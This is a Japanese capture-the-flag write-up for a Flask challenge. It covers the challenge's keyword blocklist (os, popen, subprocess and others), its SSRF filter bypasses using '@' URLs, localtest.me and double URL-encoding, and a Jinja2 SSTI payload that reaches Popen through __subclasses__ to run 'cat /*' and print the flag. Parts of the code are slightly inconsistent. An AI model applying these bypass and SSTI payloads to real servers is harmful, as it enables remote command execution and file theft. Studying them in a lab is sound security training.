概要
本課題は Flask フレームワークを用いた Web アプリケーションに対するセキュリティチャレンジです。主な攻略ポイントは、厳格な入力フィルタリングを回避する SSTI(サーバーサイドテンプレートインジェクション)と、localhost 制限を迂回する SSRF(サーバーサイドリクエストフォージェリ)を組み合わせることにあります。
環境構成の分析
まず、コンテナ設定ファイルを確認します。フラグファイルは起動時にランダムな名前に変更され、ルートディレクトリに配置される仕様です。
# Base image configuration
FROM python:3.8-slim
# Flask environment setup
ENV PYTHONDONTWRITEBYTECODE 1
ENV PYTHONUNBUFFERED 1
WORKDIR /app
# Install dependencies
COPY requirements.txt /app/
RUN pip install --no-cache-dir -r requirements.txt
# Randomize flag filename
COPY flag.txt /app/
RUN mv flag.txt /$(cat /dev/urandom | tr -dc 'a-z0-9' | fold -w 8 | head -n 1).txt
# Deploy application code
COPY application /app/
EXPOSE 1337
# Execute entry point
CMD ["python", "app.py"]
ソースコードレビュー
アプリケーションの主要ロジックは app.py と utils.py に分割されています。
アプリケーションロジック (app.py)
入力検証を行うデコレータと、プロキシ機能および管理ページが定義されています。多数のキーワードがブラックリストとして登録されており、リクエストヘッダー、クエリパラメータ、JSON ボディなどが検査されます。
from flask import Flask, request, Response, abort
from util import verify_local_connection, execute_upstream_request
import random, os
application = Flask(__name__)
# Restricted terms for input validation
denied_patterns = ["debug", "args", "headers", "cookies", "environ", "values", "query",
"data", "form", "os", "system", "popen", "subprocess", "globals", "locals",
"self", "lipsum", "cycler", "joiner", "namespace", "init", "join", "decode",
"module", "config", "builtins", "import", "application", "getitem", "read",
"mro", "endwith", " ", "'", '"', "_", "{{", "}}", "[", "]", "\\", "x"]
def inspect_incoming_data(handler):
def wrapper(*args, **kwargs):
# Check headers
for header_name, header_val in request.headers.items():
if any(term in header_val for term in denied_patterns):
abort(400, f"Blocked term in header: {header_name}")
# Check query parameters
for param_key, param_val in request.args.items():
if any(term in param_val for term in denied_patterns):
abort(400, f"Blocked term in param: {param_key}")
# Check body content
try:
if request.is_json:
payload = request.get_json()
if payload:
for k, v in payload.items():
if any(term in v for term in denied_patterns):
abort(400, f"Blocked term in JSON key: {k}")
else:
body_text = request.get_data(as_text=True)
if any(term in body_text for term in denied_patterns):
abort(400, "Blocked term in request body")
except Exception:
pass
return handler(*args, **kwargs)
return wrapper
@application.route('/', methods=['GET'])
@inspect_incoming_data
def gateway_handler():
target = request.args.get('url')
allowed_paths = ['/about/', '/portfolio/']
if not target:
path = random.choice(allowed_paths)
return redirect(f'/?url={path}')
final_url = "http://daffa.info" + target
if final_url.startswith("http://daffa.info") and any(final_url.endswith(p) for p in allowed_paths):
resp, hdrs = execute_upstream_request(final_url)
return Response(resp.content, resp.status_code, hdrs.items())
else:
abort(403)
@application.route('/secret', methods=['GET', 'POST'])
@verify_local_connection
def internal_debug_page():
admin_name = "daffainfo"
css_path = request.url_root + 'static/css/main.css'
if request.args.get('admin'):
admin_name = request.args.get('admin')
if not admin_name:
abort(403)
template_source = '''
<html>
<head><link rel="stylesheet" href="{}"></head>
<body>
<h1>ADMIN AREA</h1>
<p>Admin: {}<span id="adminName"></span></p>
</body>
</html>'''.format(css_path, admin_name)
from flask import render_template_string
return render_template_string(template_source)
if __name__ == '__main__':
application.run(host='0.0.0.0', port=1337)
ユーティリティ機能 (utils.py)
localhost からのアクセスかどうかを検証するデコレータと、URL の安全性を確認する関数が実装されています。
from flask import request, abort
import functools, requests
from urllib.parse import urlparse
BLOCKED_HOSTS = ['localhost', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9']
def validate_target_host(url):
parsed = urlparse(url)
host = parsed.hostname
if not host:
return False
return not any(blocked in host for blocked in BLOCKED_HOSTS)
def verify_local_connection(func):
@functools.wraps(func)
def check_ip(*args, **kwargs):
if request.remote_addr != '127.0.0.1':
return abort(403)
return func(*args, **kwargs)
return check_ip
def execute_upstream_request(url):
method = request.method
headers = {k: v for k, v in request.headers if k.lower() in ['x-csrf-token', 'cookie', 'referer']}
data = request.get_data()
resp = requests.request(
method,
url,
headers=headers,
data=data,
verify=False,
allow_redirects=False
)
if not validate_target_host(url) or not validate_target_host(resp.url):
return abort(403)
return resp, headers
脆弱性の特定
/secret エンドポイントにおいて、render_template_string にユーザー入力が渡される構造を確認できます。これは典型的な Jinja2 SSTI の脆弱性です。しかし、verify_local_connection デコレータにより、localhost (127.0.0.1) からのアクセスのみが許可されています。
外部から直接アクセスできないため、SSRF 機能を利用して内部へリクエストを転送する必要があります。
SSRF による localhost 制限の迂回
ルートパス / はユーザー指定の URL へリクエストを転送する機能を持ちますが、以下の制限があります。
- 入力フィルタ(ブラックリスト)の通過
- URL プレフィックス
http://daffa.infoの付与 - 特定のエンディングパスでの終了
- ホスト名の安全性チェック(
validate_target_host) - リダイレクト無効
入力フィルタの回避
HTTP ヘッダーを最小限に抑え、ブラックリストに含まれる不要なフィールドを削除することで検査を通過できます。
URL 構造の悪用
URL 構文における @ 記号を利用します。http://user:pass@host の形式では、@ 以降が実際のホストとして解析されます。これを利用し、プレフィックス制限を事実上無効化できます。
GET /?url=@127.0.0.1:1337/secret?admin={{PAYLOAD}}/about/
ホスト名チェックの回避
validate_target_host 関数は数字や 'localhost' をブロックしますが、ドット区切りの文字列は許可されます。www.localtest.me は 127.0.0.1 に解決される公開ドメインであるため、これを利用することで IP アドレス直接指定を回避できます。
GET /?url=@www.localtest.me:1337/secret?admin={{PAYLOAD}}/about/
WAF フィルタの二重エンコード迂回
SSRF 経由でリクエストが転送される際、URL デコードが複数回発生する可能性があります。入力検証は最初のデコード後に行われますが、テンプレートエンジンへの到達前に再度デコードされる場合、フィルタを回避できる場合があります。
例えば、{ は通常 %7b とエンコードされますが、ブラックリストに引っかかる可能性があります。これをさらにエンコードし %257b とすると、最初の検証では %7b として扱われ、通過します。その後、内部処理で再度デコードされ { として解釈されます。
具体的なペイロード構成例:
/?url=%40www.localtest.me:1337/secret?admin=%257b%2525%2570%2572%2569%256e%2574%2528%2528%2529%252e%255f%255f%2563%256c%2561%2573%2573%255f%255f%2529%2525%257d%26aaa=/about/
このリクエストはサーバー内で適切にデコードされ、SSTI ペイロードとして実行されます。
フラグの取得
Python のサブクラス列挙を利用し、subprocess.Popen などを呼び出してコマンドを実行します。ファイル名がランダムであるため、ワイルドカードを使用して全ファイルを読み取ります。
{%print([].__class__.__base__.__subclasses__()[351]('cat /*',shell=True,stdout=-1).communicate()[0].strip())%}
上記ペイロードを二重エンコードして送信することで、以下のフラグを取得できます。
TCP1P{Ch41n1ng_SsRF_pLu5_5St1_ba83f3ff121ba83f3ff121}